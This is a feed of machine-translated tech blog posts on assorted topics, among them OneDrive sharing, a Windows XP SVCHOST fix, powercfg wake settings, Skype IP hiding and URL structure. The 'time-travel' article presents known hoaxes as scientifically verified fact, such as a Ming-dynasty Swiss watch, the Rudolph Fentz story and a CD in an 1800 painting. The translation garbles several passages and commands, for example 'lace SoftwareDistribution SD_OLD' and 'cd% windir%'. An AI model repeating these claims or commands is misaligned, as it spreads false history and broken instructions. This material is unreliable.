Controller and Canon camera application. It can also work with some Nikon and Sony cameras but these are not officially supported.\nI wish you all success!\nSee more:\nInstructions to restore your computer using an Android device Instructions for using USB Flash drive with Android device Instructions for activating USB On-the-Go for Nexus 4 ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWlqK9uu9OgZJqmlGK2tb%2BMbmSgqpWWwW6y1KearaGfo8Buu81mmKecoqS2pQ%3D%3D\n","link":"/post/what-is-usb-otg-and-its-5-great-functions-on-android/","section":"post","tags":null,"title":"What is USB OTG and its 5 great functions on Android"},{"body":"With OneDrive you can easily share files and folders easily with others without the recipient having to install any one application or log in to an account. The article below Admin network will guide you how to share folders or files from OneDrive in Widows 10 .\n  1. Share folders or files from Desktop: In Windows 8.1, OneDrive has been integrated into the operating system through an application that you cannot uninstall and easily set up your computer's settings. With modern applications, users can upload, upload their files and folders easily or even share those files and folders without having to use the OneDrive web interface.\nOneDrive in Windows 10 integrates better with File Explorer . You only need one click to share links of files or folders.\nSharing a file like a link has many advantages, especially when you send these files via email. Email can refuse you to send files and folders if the attachment is too large.OneDrive can help you easily share a file link sent via Email, Facebook, or as a text message.\nGo to File Explorer , open OneDrive and locate the files or folders you want to share. Right-click the file or folder and select \"Share a OneDrive Link\" (Share a OneDrive link).\n  A message will appear after a few seconds and a message telling you that a link has been prepared.\n  Open the 'Mail Client' and enter the email address of the recipient of the file. Right-click and select \"Paste\" into the body of the Email message to paste the content into the shared OneDrive link. After receiving the message, the recipient just needs to click on the link to get access to the file you share.\n  More reference: File and folder sharing between Mac OS X and Windows 7 2. Share a file or folder from OneDrive.com: Open OneDrive in File Explorer and locate the files or folders you want to share. Right-click the file or folder you want to share and select 'More OneDrive sharing options' (Optional OneDrive sharing).\n  After you click this option, your default web browser will open OneDrive to display options for sharing specific folders. Then select any one of the options to share.\n  3. Invite everyone: Select this option if you want to give individuals or a specific group of permissions for an item. In \"To\" (to), enter the Email address or contact name from the list. In addition, if you want, you can create a Note for the recipient. To change the level of access, click or click 'Recipients can only view' or 'Recipients can edit' .\n  If you select'Recipients can only view', then the person you invite can see, download or copy the files you share. If you select'Recipients can edit' , then the recipient can use Office Online to edit office documents without logging in. To add other changes (such as adding or deleting files in a folder), the recipient needs to log in with a Microsoft account . If you select 'Recipients can edit' and and the recipient forwards the messages, anyone who receives it can edit the items you are sharing.\nPeople with editing rights can also invite others to edit items. This is the concern of some users. However, you can go back to the 'Share' settings to remove anyone you do not want to allow access to the shared folders.\nIf you want to share with the recipient logging in with a Microsoft account (to see the items you are sharing), select 'Recipients need to sign in with a Microsoft account' (The recipient needs to log in with an account Microsoft). This way to prevent others' access to the items you share if a recipient forwardes your message.\nClick or click the \"Share\" button to save the permission settings and send a message with a linked item. If you share a folder with people who don't have a Microsoft account, they can create a new Microsoft account.\n  4. Get the link - Link to share: Select this option to share items with lots of people even people you don't know. You can use these links to post to Facebook, LinkedIn, Email, or text messages.\nAnyone who receives the link can view, copy, and download the items. Even recipients can forward messages. Select the type of link you want. Permissions allow items to be automatically updated when you create the link.\nView only- When you share an item with this link, recipients can view, copy, or download items without logging in. They can also forward the link to others. Edit -When you share an item with this link, the recipient can edit specific files, and can add, copy, move, rename, or even delete files. in a shared folder.The recipient can forward the link, change the list of people who share the file or folder, and even change the recipient access. Finally click or click \"Create Link\" (create link)\n  \nTo post links on a social networking site, click or click the Social networks icon. If you want to include links in text messages, or in a printed document then you want to shorten the link. Click or click 'Shorten link' (Shorten the link or shorten the link) to create a shorter URL.\n  5. Stop sharing files or folders: You cannot not stop sharing or controlling access via a Desktop (desktop). You can only control or stop sharing again through OneDrive websites. To see all the items you shared, play or click \" Share\" in the left pane, then click or click \"Shared by me\".\n  \nIf you are the one who sends files or directories or has editing rights, then you can stop sharing an item or change other permissions. Select Checkbox (check box) shared items, then click or click \"Share\" on the bar at the top of the page.\n  Under the \"Shared with\" section, select the permissions you want to change. You can convert edit and view permissions only, and stop sharing through any links you create.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYsCprdGeZJ%2BhnJrAbq3NnWSfp5yZsrO%2FjJ%2BpqKVdpLumsNGirZ5lmaN6uLXNnaawq11mfQ%3D%3D\n","link":"/post/5-ways-to-share-files-and-folders-from-onedrive-in-windows-10/","section":"post","tags":null,"title":"5 ways to share files and folders from OneDrive in Windows 10"},{"body":"We all know that Doraemon machine cat's time machine can go back to the past or go to the future easily in the popular Japanese manga, and it is believed that it's just a naughty story. structure is only in imagination. But in fact in history, there are some mysterious schools on which scientists can only think of \" going through space and time \" as to explain.\nHere are seven \" timeless \" cases that make scientists headaches.\n1. The Swiss watch 400 years ago   In December 2008, in Thuong Tu, a district in southern China, the country's archaeologists were amazed to find a clock with hour, minute, and seconds, engraved with \"Swiss\" in English on the back and stopped at 10:06 in the morning in a coffin. What is special is this coffin from the Ming Dynasty and dates back to 400 years old.\nThis is utterly unthinkable, because 400 years ago, the world could not craft such a \"modern\" clock. On the other hand, at that time Switzerland used French and German rather than English.\nScientists firmly affirmed that the tomb as well as the coffin were completely intact and had never been opened since the Ming Dynasty.\n2. The ghost of Petit Trianon   Petit Trianon is a small castle on the grounds of France's famous Versailles castle . On August 10, 1901, there was also a mysterious story that was supposed to be related to \"timeless\".\nIt is the story of two women named Eleanor Jourdain (1863–1924) and Charlotte Anne Moberly (1846–1937) who came to Versailles to stop at the castle to rest. Here, they were able to see firsthand the Queen Marie Antoinette of France and many other characters from the French revolution (1789–1799) completely in flesh and blood.\n  Moberly and Jourdain insisted that what they saw was not evil.\n3. The hotel disappeared without trace   This is one of the most famous cases mentioned by the ITV television network in the program \"Strange but True? \" (Strange but real).\nThe story happened in October 1979, the British couple Simpsons and Gisbys on a trip to Spain went across France. Here, they stopped to rest at a beautiful hotel in a classic style. On the way back to England, they decided to return to this hotel again but it disappeared without leaving any trace. Even the photos they took at this hotel were \" not flying\" . Scientists also embarked on an understanding of this mysterious case, but so far there has been no answer.\n4. The man \"ahead of his time\"   This photo was taken during a festival in 1941. This photo is very famous in the world by the \"irrational\" in it. A man dressed in modern style: T-shirts, sunglasses, . is completely different from the fashion room of the 1940s. In addition, the camera he held in his hand is much more modern than devices similar to that period.\nThis bizarre photo was named \"Time Traveling Hipster \" and was once kept at Bralorne Pioneer Museum. There are many different opinions about the appearance of the strange man in the picture but no one has given a reasonable explanation.\n5. \"Nineteenth-century man\" had an accident\u0026nbsp;   At more than 11 pm on a mid-June 1950 day, at Times Square in New York, a man in his 30s, with a style of dress from the end of the nineteenth century wandered in the middle of the street, causing many uncle I mean. They found him to be confused, panicked. Later, the man was suddenly hit by a taxi and died in the middle of the intersection.\nSurprisingly, after the bodies were autopsy, they discovered many strange things in his body. A copper card bearing the name of a strange pub that has never been known, a card called Rudolph Fentz is located at Sixth Avenue, $ 70 in old money, and a letter was written in June. / 1876. In particular, these items have no signs of deterioration over time.\nThe police tracked the address on the card and found Rudolph Fentz's daughter-in-law in Florida. According to her, her father-in-law, after going out on a walk, mysteriously disappeared from 1876, when he was 29 years old. Since then, there is no information about him anymore.\nThe police searched for a file about a man named Rudolph Fentz who disappeared in 1876 and was surprised to see the description of his appearance, age, and clothes coinciding with the accident man on the Square. The 1950s.\n6. CD-Rom disc in 1800   The picture shows senior leader Joseph Smith holding two CDs. The strange thing is that this painting was painted in 1800, while the whole world knew that the first CD-Rom was born in 1980, then almost 200 years later.\n  Scientists have checked the picture and determined it was actually born in 1800 and the CD in the picture is real. But why the CD appeared at that time is still a mystery that cannot be explained.\n7. The airport has been seen since 4 years ago   In 1935, Victor Goddard (1897-1987), a senior commander of the Royal Air Force in World War II encountered an unusual storm while driving a plane in his country. He got lost in an airport that had been abandoned in Edinburgh, where he had once arrived.\nVictor Goddard was amazed to see that the abandoned airport had been refurbished before: modern facilities, strange-looking planes, trees and people busy with work in the ministries blue military uniform.\nWhen he returned, he took what he saw and told the same group of people to go to the airport when he found it still abandoned. But four years later, the abandoned airport was rebuilt and Victor Goddard saw the scenes he had witnessed when lost.\nncG1vNJzZmismaXArq3KnmWcp51khG6vwKycrGWfm3qkvs6sqqyokZiybrnYrKueqqliuqK3xKxkrJuZmruksYybrKecnJo%3D\n","link":"/post/7-cases-of-cross-space-mystery-makes-science-bundle/","section":"post","tags":null,"title":"7 cases of 'cross-space' mystery makes science 'bundle'"},{"body":"Animal 5D is an AR app for animals developed by Tran Quoc Quang, currently an independent iOS developer. This application has the ability to display a realistic, vivid animal associated with real-life environment. This app allows you to zoom in, zoom out, move animals and add more animals at the same time without having to buy tokens.\nThe simulation animals in the application can perform many different actions such as running, swimming, flying .\nAnimal 5D supports users to take photos or videos of experience with animals in the application with high quality.\nThis Animal 5D application supports Vietnamese, making it easy for users to use.\nAnimal 5D has a collection of over 100 different animals to help children have a better understanding of the animal world.\n    According to Tran Quoc Quang, this interesting application was developed by him after he downloaded an AR application to animals named Animal 4D + for his children to play. But because the Animal 4D + application has a restriction that users have to buy animal cards or have a second screen to display images from another device and after installing the device is very slow, Mr. Quang decided. Make your own complete app that can take pictures and record videos.\nQuang takes about 2 months to complete this application.\nCurrently Animal 5D application is available on the App Store, you can download and experience the link below. This application is completely free.\nAnimal 5D Here is a video introducing information and instructions for using the Animal 5D app, please follow along.\nThis application helps you turn the hole-punching camera on Galaxy Note 10 into a beautiful% battery indicator Ho Chi Minh City has deployed the application 'Lookup for medical examination and treatment' on smartphones ncG1vNJzZmismaXArq3KnmWcp51krq%2B1zJqjZm2UYq6zecCpp2aen6d6orrIppilq12irqWxjKKlZq6ZmsGvrcw%3D\n","link":"/post/animal-5d-ar-app-for-animals-made-in-vietnam/","section":"post","tags":null,"title":"Animal 5D, AR app for animals, made in Vietnam"},{"body":"Your computer has many users, there are many software that you install to study and work that you do not want someone to use, delete, modify, change that software. Therefore, you are trying to create a password so that only you can influence the software.\nProgram Blocker is a software that helps you lock important software and applications. If you want to affect the software, the application is locked, you need to enter the correct password set.\nBelow is a guide to create password to protect software and applications using Program Blocker .\nStep 1 : You need to download Program Blocker , after downloading, you just need to extract the file and open the TWC Program Blocker.exe file to use the Program Blocker software .\nStep 2 : The password setting interface for Program Blocker appears, create a password for the program in the Create a Strong Password box and re-enter the password just set in the Confirm your password box .\nYou can enter your email into the box Your Email to recover, recover the password when you forget. Then click Save to save the settings.\n  Step 3 : Next, enter the password you just created in the Enter your Password to continue box and click Login to log in the Program Blocker program .\n  Step 4 : Appearance of Program Blocker , you will see the program's features:\nBlock Applications : create password to protect software and applications.\nReset : resetting the Program Blocker program will delete all data on the program and all locked applications will be opened to operate.\nTask Manager : lock the software without interfering with the software.\nHidden Mode : hide mode, helps hide the Program Blocker icon in the system tray.\nSettings : set the settings for Program Blocker .\nTo lock applications, software with Program Blocker , you select Block Applications .\n  Step 5 : On the Block Applications interface , the Common Applications section is the list of software and applications installed on your computer. Want to lock the software, whichever application you select it in Common Applications (1) and press the arrow to the right (2) to move the software or application to the Blocked Applications section . Then click Save (3) to save the settings.\n  If the software or application you want to block does not appear in the Common Applications section , select Add New and navigate to the .exe file path of that software or application to add it to Program Blocker .\n  Step 6 : If you want to remove the key for the software or application that you have locked, select the software and application name in the Blocked Applications section and select Remove to remove.\n  So when you open the software, the application has been locked by Program Blocker , the interface will appear asking for a password to open the application. You enter the correct password in the Please enter your Password to Continue box and click Continue to open the software and applications.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqiRqMC4u9Gdqmarn5vBuK3RnmSknamoerG%2BzqCpmqWjYryvedaipZ2np6h6tr%2FIp55mqKKktLOtzGaZpaeToLKz\n","link":"/post/create-passwords-software-keys-programs-on-windows-using-program-blocker/","section":"post","tags":null,"title":"Create passwords, software keys, programs on Windows using Program Blocker"},{"body":"Sometimes booting into the system you encounter the following error:\nPhần mềm ở \"0x745f2780\" referenced memory at \"0x00000000\" \n Không thể đọc được \"đọc\"\nSuppose we have Windows XP Professional operating system with the password set for the administrator account.\nWhen we turn on the computer and enter the login screen. Then the above error message appears. The only two options allowed with this error message are OK to end the program or Cancel to debug the program. After asking some questions about what to do before turning off the computer, it will clearly say that Windows Update will be run before turning off the computer.\nInterestingly, even when starting the computer in Safe Mode, it still shows the same error message. While the event log of Windows XP indicates that the failed application is svchost.exe\nHow to fix this error\nAfter some research on the 0x745f2780 SVCHOST error, indicate that the problem is caused by Windows Update in Windows XP. Follow these steps to fix this error:\nCheck the Windows Update service settings\n- Start -\u0026gt; Run , type: services.msc and OK\n- Find Automatic Updates service and double-click it\n- Go to Log On tab and make sure \" Local System Account \" is selected as a logon account and the line \" allow service to interact with desktop \" is unchecked.\n- Under the Hardware Profile section of the Log On tab, make sure this service is \" enabled \".\n- In the General tab, the Startup Type should be: Automatic\n- Under the \" Services Status \" section of the General tab, this service should be in Started mode, click on the Start button to turn it on.\n- Repeat the steps above with Service \"Background Intelligent Transfer Service (BITS)\"\nRe-register the DLLs library of Windows Update\n- In the command prompt window, type the following command and press Enter: REGSVR32 WUAPI.DLL\n- Wait until you get the message \" DllRegisterServer in WUAPI.DLL succeeded \" appears and click OK\n- Repeat the above step for each of the following commands:\n REGSVR32 WUAUENG.DLL\n  REGSVR32 WUAUENG1.DLL\n  REGSVR32 ATL.DLL\n  REGSVR32 WUCLTUI.DLL\n  REGSVR32 WUPS.DLL\n  REGSVR32 WUPS2.DLL\n  REGSVR32 WUWEB.DLL\n Delete the corrupted files of Windows Update\n- In the command window type the following command and press Enter: net stop WuAuServ\n- Also in cmd window, type the command: cd% windir% and press Enter\n- In the newly moved folder, type the following command and press Enter to rename the SoftwareDistribution folder\nlace SoftwareDistribution SD_OLD\n- Restart the Windows Update service by typing the command: net start WuAuServ\n- Type Exit and press Enter to close cmd\nRestart Windows\nStart -\u0026gt; Shutdown -\u0026gt; Restart to restart Windows XP\nAlthough this method does not solve all problems with the SVCHOST.EXE application error, we can still use it to fix the 0x745f2780 error issue.\nSeveral other issues related to SVCHOST.EXE\nSometimes we encounter problems with SVCHOST, when it takes up to 100% of the CPU. This problem is often caused by Windows Update. To fix this problem, follow these steps:\n1. Download and install Update KB927891 for Windows XP\n2. Download and install an update for Windows Update Agent WSUS 3.0\n3. Restart the computer.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKytnKCfqMGmxMRmmKmonJ6wosDIqKVmr5mptW6x0aumq2VgrYR1gcVrbnFo\n","link":"/post/fix-svchost-exe-application-with-error-0x745f2780/","section":"post","tags":null,"title":"Fix SVCHOST.EXE application with error 0x745f2780"},{"body":"Just like Facebook, Twitter's home page interface shows all the latest tweets from the Twitter accounts we track, without following any sort. The latest posted tweet will display on the top of your Twitter interface. If users want to manage and split tweet content more easily, then the List tool on Twitter can be used.\nList on Twitter will create different topics by list, and users will group Twitter accounts into each topic. So when you directly access each topic list, only display tweets from the added Twitter accounts. This helps us not to miss but important tweets. The following article will guide you how to create a list on Twitter.\nHow to link Facebook to Twitter and vice versa How to post multiple photos on Tweet on Twitter How to download Twitter videos on your computer How to mass delete tweets posted on Twitter Guide to group Twitter accounts into lists Step 1:\nWe log into Twitter account and then click on individual photo icon to select Lists .\n  Step 2:\nSwitch to the new interface, we click on Create New List in the rightmost corner of the interface.\n  Step 3: s\nDisplay the interface for us to enter the content of the account list creation . First, enter the name of the account group in the List name box, adding the description in Description. Next select the display mode for the list. If it is public, everyone will be able to see the list and click on it if they like.\nClick Save list to save the newly created list.\n  Step 4:\nSoon we will be able to transfer the interface to search for Twitter accounts to add to the newly created list.\n  Display accounts with the same name you want to search. We click on the 3 dot icon and select Add or remove the form list .\n  Display the list that we created, click on the list to add the Twitter account . We continue to do the task of creating a list or adding other Twitter accounts to different groups.\n  Step 5:\nWhen users access the List again, they will display a list of created list groups . Each list shows the number of Twitter accounts grouped into.\n  If clicking on that list, only the tweets will be displayed from the Twitter accounts in the group.\n  The creation of Twitter lists aims to help you focus more on important tweets, not to miss any content, instead of showing lots of news on the Twitter interface. Users can easily add or delete Twitter accounts in created lists.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZK2vmanBpr6Mmpqcp6WjwW64yKyr\n","link":"/post/how-to-create-a-twitter-account-list/","section":"post","tags":null,"title":"How to create a Twitter account list"},{"body":"How to create playlist videos on YouTube is simple and easy. You just need to search for the videos you want to listen to and then add the previously created music playlist. But do you think finding such videos is quite a waste, while we can quickly create Youtube videos from the list we type?\nTuneMyMusic is a service to create music playlists from various sources, such as YouTube, Spotify, Apple Music, Google Play Music. Users only need to enter the videos and songs they want to listen to without having to find each video to create a playlist in the usual way. The following article will show you how to create quick playlist on YouTube.\nHow to use YouTube Kids exclusively for children All the errors on Youtube and how to fix it Instructions on how to create a YouTube Channel Instructions for creating quick YouTube playlist Step 1:\nUsers access the home page of TuneMyMusic service by following the link below.\nhttps://www.tunemymusic.com/ At the interface, first press the Let's Start button to use the service.\n  Step 2:\nIn the main interface of the website click on From text to enter the song name.\n  Switch to the new interface in the Enter your list song frame, users enter videos to create playlists. You enter according to the syntax -  as shown below. Then click the Convert song list button .\n  Step 3:\nThe service will then aggregate the songs the user has entered. If you don't want to use a song, just leave it at that song. Click next Next: Select Destination below.\n  Step 4:\nIt will then display the music and video playback services for us to choose to create a playlist. Here click on YouTube . You can also click on Spotify, Apple Music, . as you like.\n  Step 5:\nUsers enter YouTube account to use the service.\n  Then agree to let TuneMyMusic access your personal YouTube account, press the Allow button to agree.\n  Step 6:\nCheck the entire list in the playlist and then press the Start Moving My Music button below the interface.\n  Step 7:\nImmediately after that, the process of creating YouTube playlist with the songs you have entered will be conducted. This process is fast or slow depending on the number of songs you want to create.\nWhen you see the Conversion Completed notification, with the green traces in each song and My Playlist, it means that it has been created successfully.\n  Step 8:\nClick the Open button in the interface to view the YouTube playlist.\n  We will see a list of created YouTube videos. Videos will be taken from official channels, or use videos with the most viewers.\n  There is no need to find each video and then add it to a YouTube playlist, with the TuneMyMusic service creating quickly from random songs you enter your name. The service supports creating playlists with many popular music listening services today.\nSee more:\nInstructions on how to block videos and YouTube channels How to remove unwanted video suggestions on Youtube How to enable limited video mode on Youtube I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyypq6spZeybrzLmrCloaOpeqe%2BzqZkrbGgnruoecuiqq0%3D\n","link":"/post/how-to-create-youtube-playlist-from-typing-list/","section":"post","tags":null,"title":"How to create YouTube playlist from typing list"},{"body":"Download Minecraft Earth now does not need to fake ip on the phone is real friends. Although Minecraft Earth has only been launched in some countries such as Canada, England, Mexico, Sweden, Australia . and not yet Vietnam.\nHowever, gamers can still download Minecraft Earth global test version to their phone to experience this AR game. Follow the instructions below to download Minecraft Earth on your phone.\nSummarize all monsters in Minecraft Survival mode How to get free skins for Minecraft Earth Instructions for registering a Minecraft account Instructions for downloading Minecraft Earth on Android Step 1: To download Minecraft Earth to the first device you need to have the TAP application. Visit the download link below to download the Tap app, then launch it.\nIn the main screen, click on the search icon in the upper right corner, write the search term Minecraft Earth in the search box and click on the search results below.\nLink to download Tap app\nStep 2: Next, click Try\u0026gt; Continue to install and allow Tap to access the photos and media on your device.\nNext, allow Tap to access photos, media and files on your device. Then install Minecraft Earth on your computer like other applications.\nStep 4: Once you have installed Minecraft Earth on your phone, you can see the Minecraft Earth icon in the application list. Click on it to start playing, maybe the game will ask you to update first. Click Yeah Let's Do It to update the game.\nIf your device does not have Google Play for AR, it is possible that Minecraft Earth will require you to install this service to play Minecraft Earth because this is an AR game like Pokemon GO and Harry Potter Wizard United.\nDownload Minecraft Earth for iPhone where? Currently, to download Minecraft Earth on iOS, you must have an App Store account in countries where Minecraft Earth is launched, such as Canada, Australia, Philippines, England, South Korea, Sweden, Mexico, New Zealand, Iceland. Log in to the App Store account into your device and find the keyword Minecraft Earth in the App Store and download.\nTo play Minecraft Earth, your device must have iOS 10 and Android 7 and above. You also need a Microsoft or Xbox Live account because you use it to log in to Minecraft Earth.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKahnpqws63FrWSemaKptW7DyK2fqK2kYrOit8RmoKk%3D\n","link":"/post/how-to-download-minecraft-earth-without-fake-ip/","section":"post","tags":null,"title":"How to download Minecraft Earth without fake IP"},{"body":"This guide will show you how to allow or prevent devices from waking Windows 10 PCs from Sleep or Hibernate.\nNote : You must be logged in as an administrator to do this.\nOption 1: Allow or prevent the device from waking the computer in Command Prompt 1. Open Command Prompt with admin rights.\n2. Perform step 3 (to allow) or step 4 (to prevent the device from waking the computer) below, depending on what you want to do.\n3. To allow the device to wake the computer:\nA) Enter the command below into the Command Prompt and press Enter .\nThis step will give you a list of all devices that support waking the computer from any sleep state.\nWrite down the device name (for example, \"HID Keyboard Device\" ) you want to allow to wake up the computer.\npowercfg -devicequery wake_from_any  B) Enter the command below into the Command Prompt and press Enter . You can close the Command Prompt when finished.\npowercfg -deviceenablewake \"Device Name\"  Replace Device Name in the above command with the device's actual name.\nFor example:\npowercfg -deviceenablewake \"HID Keyboard Device\"  4. To prevent the device from waking the computer:\nA) Enter the command below into the Command Prompt and press Enter .\nThis step will give you a list of all devices that can wake up the computer.\nWrite down the device name (for example, \"HID Keyboard Device\" ) you want to prevent from waking the computer.\npowercfg -devicequery wake_armed  B) Enter the command below into the Command Prompt and press Enter . You can close the Command Prompt when finished.\npowercfg -devicedisablewake \"Device Name\"  Replace Device Name in the above command with the device's actual name.\nFor example:\npowercfg -devicedisablewake \"HID Keyboard Device\"  Option 2: Allow or prevent the device from waking the computer in Device Manager 1. Open Device Manager ( devmgmt.msc ).\n2. Expand the device category (for example, Keyboards and double-click the device (eg \"HID Keyboard Device\" ) that you want to allow or prevent the computer from waking.\n3. Select or deselect Allow this device to wake the computer according to what you want and click OK.\n4. When done, you can close Device Manager if desired.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYypqZ6ulaPBbrDEr6CcnV2bv7C5jLCYpKGenHq4tc2dprCrXWZ9bq%2FOpqeurJWn\n","link":"/post/how-to-enable-prevent-device-from-waking-windows-10-computer/","section":"post","tags":null,"title":"How to enable / prevent device from waking Windows 10 computer"},{"body":"Have you ever heard of the proximity sensor of your\u0026nbsp; phone ? This function works when you hold the phone to your ear to answer a call and the screen will automatically darken. Read the article to know when the proximity sensor is damaged and find out the cause and how to fix this error on both\u0026nbsp; iPhone \u0026nbsp;and\u0026nbsp; Android devices \u0026nbsp;!\nProximity sensor is a type of sensor placed on the front of the phone that can be easily seen. On the iPhone it's usually a circular dot next to the front camera.\nWhen you put the phone to your ear to listen to a call, if the proximity sensor is still working properly, the phone screen will automatically turn off to save battery life and avoid you pressing the wrong touch buttons.\nWhen the proximity sensor is damaged, the screen will stay on continuously and you may accidentally press the touch buttons while on the phone, and also drain the phone's battery.\nUsing a screen protector that is too thick will interfere with the sensing function of the proximity sensor, making the sensor unable to work.\nDuring use, you have made a strong impact, dropped or left the phone in water, which also contributes to damage to the proximity sensor.\nThe final cause may be that when the phone is damaged, the user takes it to a repair shop and the mechanic in the process of repairing the device accidentally assembles components that obscure the proximity sensor.\nAnother cause may be a conflict with the new version of iOS, Android. This can also cause the proximity sensor to stop working.\nWhen users use the phone with high frequency continuously, it will cause the components to overload, causing damage. And this can affect the proximity sensor.\nLong-term use of phones can cause many components and software to be overloaded. At that time, users should restart the phone because this is the simplest way to fix many phone errors.\n  The next method that users can take to fix the proximity sensor error is to reset the phone (Restore). However, before resetting, remember to back up your phone data because resetting will lose all current data stored on the phone.\nAs mentioned above, the screen protector is too thick, it also interferes with the function of the proximity sensor. So to fix this problem, please replace your phone with a more suitable screen protector.\n  In many cases, the error of the phone often stems from the user not regularly updating the phone software. If your phone software is still not up to date then try performing an update. After updating the software, check to see if the proximity sensor error is fixed.\nRegularly use a soft cloth and paper to clean your phone screen. This is an easy way to prevent not only the damage of the proximity sensor, but also to ensure the hygiene of the user when using a mobile phone device.\n  Even if you have tried all of the above methods and the proximity sensor does not seem to improve, then take your phone to a reputable repair shop to have the experts solve the problem.\u0026nbsp;\nAbove is the cause and how to fix the proximity sensor error on the phone. Thank you for watching and see you in the next posts.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmp6unqJ66qsDYZqqepqOkv26x0aumq2Wfo3q0ucCrq6mgn6OytA%3D%3D\n","link":"/post/how-to-fix-the-proximity-sensor-error-on-smartphones/","section":"post","tags":null,"title":"How to fix the proximity sensor error on smartphones"},{"body":"Although it is a widely used video and voice chat application, Skype has leaked personal information of users for a long time. Many users, especially gamers, believe their IP addresses are attacked by hackers because of a security vulnerability on Skype.\n1. Why hide IP address on Skype? Although it is a widely used video and voice chat application, Skype has leaked personal information of users for a long time. Many users, especially gamers, believe their IP addresses are attacked by hackers because of a security vulnerability on Skype.\nOnce you have 'grasped' your IP address, hackers can use that IP address to perform denial-of-service attacks. As a result, you will not be able to browse the Web safely as before. If you are a player and you are attacked while playing an online game, then you will be disconnected.\nFortunately Micorsoft has promptly overcome security holes on Skype. On all new versions of Skype (PC version and mobile version), users can set IP address hiding by default. This means that no one can find your IP address.\nIf you are using an \"old\" version of Skype, it is best to update to the latest version of Skype on the Skype home page.\nIf you don't have Skype, you can download the latest version of Skype to your computer and install it here.\n2. How to hide IP address on Skype To hide the IP address on Skype on Windows operating system, follow the steps below:\nFirst log in to your Skype account.\n  After logging into your Skype account, click Tools in the top right corner of the Skype window, then click Options .\n  On the Options window, click Advanced =\u0026gt; Connections in the left pane.\n  Next look at the right pane of the Options window, and you'll see the Allow direct connections to contacts only setting . If you want to hide the IP address on Skype, you can select Allow direct connections to your contacts only .\n  Finally click Save to save the changes.\nRefer to some of the following articles: Conflict of IP address error when connecting to Wifi on iPhone, iPad, this is a fix How to identify an unauthorized login IP address of your Facebook account 6 ways to view IP addresses on computers, smartphones or Tablet Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJutc9mmJ2coprAtHnOp2Sso6mlsg%3D%3D\n","link":"/post/how-to-hide-ip-address-on-skype/","section":"post","tags":null,"title":"How to hide IP address on Skype"},{"body":"You must have heard of the URL but don't know exactly what it is, how the structure is and what the composition is. This article will therefore give you an overview of the URL and its structure.\nThe URL may contain many different components. It includes a hostname that maps to the IP address of a specific resource on the Internet and a series of additional information informing the browser and server how to handle everything. You can think of the IP address as the phone number, hostname as the name of the person who owns that phone number you want to look up. And a standard called Domain Name System (DNS) operates in the background like a phone book, translating hostnames into IP addresses for networks to use to route traffic.\nWhat is the URL Structure of the URL Scheme Authority  Additional components of the URL Path (path) Query (query) Fragmentation (fragment)  Structure of the URL The first URL structure was defined in 1994 by Sir Tim Berners-Lee, who created the web and browser first. Basically, URLs combine domains with the use of file paths to determine specific file and directory structures. So it's similar to using the C: DocumentsPersonalmyfile.txt path in Windows, but adding some things at the top to be able to find the right server on the Internet where the link is located and use the protocol to access the information. .\nThe URL contains several other links. For example, below is a basic URL image, let's analyze its structure.\n  This simple URL is divided into two main components: Scheme (connection protocol) and Authotiry (provider).\nScheme A lot of people think that URL is like a web address but it's not quite that simple. A web address is a URL but all URLs are not web addresses. Other services you can access on the Internet such as FTP or even MAILTO are URLs. The Scheme part of the URL (the letters following the colon) indicate the protocol to which the application (such as the web browser) and the server communicate.\nWeb addresses are the most popular URLs, but there are other URLs as well. Therefore, you will see the Scheme as:\nHypertext Transfer Protocol (HTTP): This is the web's basic protocol, determining the actions of web servers and browsers to perform to meet certain commands. Secure HTTP protocol (HTTPS): This is a form of HTTP that works on a secure, encrypted layer to transmit information more securely. File Transfer Protocol (FTP): This protocol is often used to transfer files over the Internet. In modern browsers, technically Scheme is not necessarily part of the URL. If you enter a website like www.quantrimang.com, the browser will automatically determine the appropriate protocol to use. However, some other applications (and protocols) require scheme use.\nAuthority The Authority section of a URL (the part that begins after two slashes) is divided into small sections. Let's start with a simple URL, usually a URL that takes you to the home page of a website.\n  In this simple example, the entire 'www.example.com' section is called a hostname and is responsible for obtaining an IP address. If you know the IP address, you can type it into the browser address bar instead of hostname.\nHere are some of its components:\nTop-level domain name : In the example here, \"com\" is the top-level domain name. This is the highest level in the hierarchy of domain names used to translate IP addresses into simple, easy-to-remember language addresses. These top-level domains are created and managed by Internet and Domain Name Corporation (ICANN). There are three common top-level domains: .com, .net, .gov. Most countries have a two-letter top-level domain, you will see domain names such as .us (USA), .vn (Vietnam), .ca (Canada), etc. There are several domain names The highest additional (like .museum) is sponsored and managed by individual organizations. In addition, there are several shared top-level domains such as.club, .life and .news. Subdomain (Subdomain) : Because DNS is a hierarchy, both 'www' and 'example' parts of the example URL are considered subdomains. The 'www' section is the subdomain of the top-level domain 'com' and the 'www' section is the subdomain of the 'example' domain. That's why you see a registered company like 'google.com' divided into subdomains like 'www.google.com', 'news.google.com', 'mail.google.com ', etc. This is the most basic example of the Authority section of the URL, other URLs may be more complicated. There are two other components in the Authority section:\nUser Information : The Authority section may also contain the username and password of the website you are visiting. Today, you may be less likely to encounter this URL structure. The user information section is before the server name and it is followed by an @ sign. For example, you might see a URL like this: '//username:password@www.example.com', including user information. Port number : Network device uses the IP address to receive information to the appropriate computer on the network. When the traffic arrives, the port number informs the computer of the application that the traffic is targeting. You usually don't see the port number when surfing the web, but you can see it in network applications such as games that require a URL. If the URL contains a port number, it appears after the host name and preceding the colon. You will see it look like this: '//www.example.com:8080'. Additional components of the URL There are three additional parts of the URL that you can see later in the Authority section: paths, queries, and fragmentation.\nPath (path) The Authority section of the URL takes the browser (or other applications) to the correct server on the network. The path (acting as a path in Windows, macOS or Linux) takes you to the right directory or file on that server. The path is preceded by a slash and there are slashes between directories and subdirectories as follows:\n www.example.com/folder/subfolder/filename.html  The last part is the file name that will be opened when accessing the website. Although you may not see this link in the address bar, that 